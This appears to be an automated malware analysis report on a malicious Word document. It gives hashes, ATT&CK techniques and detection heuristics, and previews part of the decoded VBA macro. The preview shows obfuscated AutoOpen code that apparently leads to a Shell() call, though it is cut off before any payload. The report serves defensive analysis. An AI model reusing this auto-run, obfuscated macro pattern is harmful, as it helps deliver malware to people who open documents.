Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1e50603f821a8428…

MALICIOUS

Office (OLE)

121.1 KB Created: 2018-09-28 13:28:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 37cc625df7e992089906e79d6993f0f8 SHA-1: a6067fe4b5daa4ea57980c7be1fbfd01601b7b69 SHA-256: 1e50603f821a842874f39e91f27f81ae513a1d8956e1dd4190a40c770023873f
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The AutoOpen macro is present and likely intended to execute malicious code upon opening. While the script is truncated, the presence of the Shell() call strongly suggests it attempts to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6700450-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700450-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 61035 bytes
SHA-256: 63426a99dcd67a7829469b3c19e947876a955543e053e4858d5200694f2bf8ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YlzUkLOBltvZR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jCIGKQ(2)
jCIGKQ(0) = InStr(rpdlsU + VVVboOzkSiIjrDvFVfoJw + uZSOW, uOvhMr + KVrmdzlvzzPAMWHiTXi + RoldIBZD) + InStr(USRMqa + XOZzUEiiFMBjjUpwVdtat + VNuJREX, IXUTh + pTrikoXrBdZLjRkjUoBo + zZqXAVP) + InStrRev(EGBwz + XRPazYcUCjzalnfiPdzrfNz + hiVlCa, YifYwWh + SzRQbTrRQXakQDnMjzvz + GzZOS) + InStrRev(stvApI + iZkKtoVhHsRoWzzM + RzwJFi, zbuhBC + pbuSiGaXzaEYBkrNblAna + jjwBT)
jCIGKQ(1) = InStr(MJWSCp + YmHHlswizJpwYpnTJacWiL + rWdhB, NNjTMMm + DJZUnUiwQPRwQdvFMVPIAL + HAHMWbc) + InStr(mTYXni + ZTQzCXOhlinBYIbwaEtpTz + iHiYq, bsudEc + oqwiTNKiMjYjfizOkZzNnXi + hPXVhZ) + InStr(USpvTKDM + pvOwcKOIpdLHoOPoKrHbf + ETRPvAd, BBkmMHYT + JKAiYwXAAiUjUuqquciczP + ccCSnMJ) + InStrRev(DptTGc + HjSQrGNdUtbhBOMvwiuH + XCFzX, FwsiZNlV + KrPqpCaAuhivMOTEHkGht + JfGFaZJ)
   Dim kIciQ(1)
kIciQ(0) = InStr(jJsfmz + qRzToFSMhEBMzBEbNQijvp + QjPpdl, HkECA + PzMfMjVlhYvhBiOf + zraPK) + InStrRev(npCavtOl + NtILiEqpAZoUQRSG + BtNivf, SzwRUBmt + kWZUnTQOGicwuLAudj + qXCdQ)
   Dim CWpip(2)
CWpip(0) = InStrRev(GmVqVRiT + MPoNSwQLLwnRcAwdrv + zToFZ, MiFfrvj + YsRdmBStKKQlpwHotd + EazQim) + InStrRev(bOMFwdk + BUMOBUasYtovsGjVmlkiI + CZkJdNl, JfICGZXk + vfVFYdRhNQlEnSSnvfDF + AMJwNNzV) + InStrRev(DjTLfLj + cXbUkoYzRLraVRHkVzQ + HPljvHjz, XZZsZIp + DFocLoOEvjHoMUD + piLqwz) + InStrRev(YhcjCOMh + ZWHsfEUwRlfFFMVuziOa + WTAawuGt, VNwDHWz + NtcWibrnVILCIlTYP + lXbbNPS)
CWpip(1) = InStr(idIcvuw + uCTYYSawuVCbVviIHNmZztii + GNoBYUUK, JARVXRZC + tnpBKmdTiuknhhAC + YvFlGvQ) + InStr(UbaYvTY + mLqqiEYMiqjYzVsjPDrs + KSJPLTI, QpkhM + ukhLwbUlaboYoOFYmPw + hqPjQC)
   Dim QJKhzi(2)
QJKhzi(0) = InStrRev(tSaCfK + RQhADKWUtvHvTwcIjDl + Aknavjd, GJIbzj + qbGicaZKEDBzvDATWv + PaipJw) + InStrRev(vCvNK + XJOPqbaTLizYzNjBqIulP + DHzBi, JdJIji + GGifBVDiEvIHmcDfYTUZcJ + UDbLjD) + InStr(oHkKp + jzmMFXmKcCZjBWRGii + LEGknQNs, tocpzi + RRihiiIGOsjRDbHwmNVw + CczDLZ) + InStrRev(PMaKia + fKzzGFwZOpjEGwTcBREvpF + iPtzh, hLzjGw + iwjGKJQFKwaDaumDPj + IKmYkX)
QJKhzi(1) = InStr(fXSaw + JtSJhmivHwnpUswfbwXl + wzSDkAQ, dKwawiZO + okZsnIcSiClbloPsiGf + qiSpzBBi) + InStrRev(qwWFfu + watsCJNpJWsKJCEqOcR + kozdPj, zijHBwfJ + LrLHJjwDaESvhwZLWwFZZ + cuiDZhY)
   Dim rUwWk(1)
rUwWk(0) = InStrRev(iGNuQjp + SaMzWGkNwMiZBsmllj + jnKlZjc, wMEajbB + ZIlQrJFjYtDGCcJLULslN + NwNbRlA) + InStrRev(zpTwB + zErfrJubRpRYhnGwILI + DEvKJ, KoLujV + DBmUAwidbRfpFXzjcmOkRz + cMnrCqN) + InStrRev(ZoGLU + jsdXFRFimUGpWwRFRl + pcMPOB, HMrAZT + LphIQVDpFRKJlzdou + IDrON) + InStrRev(QuDQstbD + UWIZIkjdCFBvfljKRBHMFYL + BVhhYfUY, ATKlVrr + YiLjvZJzKDBzWWUYcPKM + jJGPmUN)
   Dim hidhzh(1)
hidhzh(0) = InStr(vuZzIkU + zzFNGCcpjPzvZAmLpjn + zbQTz, cDERmXba + EHzfkzYXIwJGaJaiWjcho + rEzCYLTO) + InStrRev(ZfOcrfb + TzdHMcNvrbZJspoVjmpr + APzCiEA, TwNwmZLP + AGQmZUqGQKdFLNNtrnb + ZquWBv)
KcdntUrAUBH (KeyString(XXzVOqj + dfRrVpBQ + 20 + 8 + 39 + pmwQjIP + kqnLbYGE) + jDiuB + KPViB + KeyString(dzuZHPNz + UDqTpTO + 23 + 9 + 45 + HjXKs + fzzMOj) + ziwiPvuGz + brZfl + HQucUA + PqlmHOiH + aCzYJwX)
   Dim Awtnz(2)
Awtnz(0) = InStrRev(lwMJIfa + jLMwsvzspTMUzKAiJlM + WzAWNzX, JcwvmK + wvHAWJCrziwjjfatvfj + nqSTVE) + InStrRev(YMoRljzp + DBsjpaFPLQJRMCjrjWF + XTuGfwaE, jraEA + ooMZPvOwUTzOIDMVfzBQ + MQjLP) + InStrRev(wViQNPI + rjdGGjhPWsiMOmMDivDhN + taiOoEwN, mdFcYw + PBmGvslCuWoCQqSzAi + wGVkwHa) + InStr(GozmMmip + zCrTPWLmGzwKbTnHmvipZh + fvDnKW, fHnFOnJn + KdWTZmEhqUNRmBDfSpZOmof + tzlrpc)
Awtnz(1) = InStrRev(wMWRjcf + SpAELHEjIlOtajorFd + PQGSfRjM, RWpLQ + imIUlWMhrzooArunEobmzv + SIDOT) + InStrRev(aqOViuul + kYFIabpcdDCALYuYacfh + BffGtK, LNXlwr + nrdvXpwkdAMErQjZvJU + zdpwBI) + InStrRev(rMpoD + LciWPrzNJjSlETIL + AFvbJwUP, nWhOSa + IIjbpUGjGIVfsKXmuF + hDsszj) + InStrRev(dUpCnO + apDOOHkvZZDvoEmwXwcnaf + ApqJtlH, BzHaQ + aGAXpQcFPATwBbcmuFPj + czLziYHn)
   Dim jNRPAO(1)
jNRPAO(0) = InStrRev(haqpr + XlliQ
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.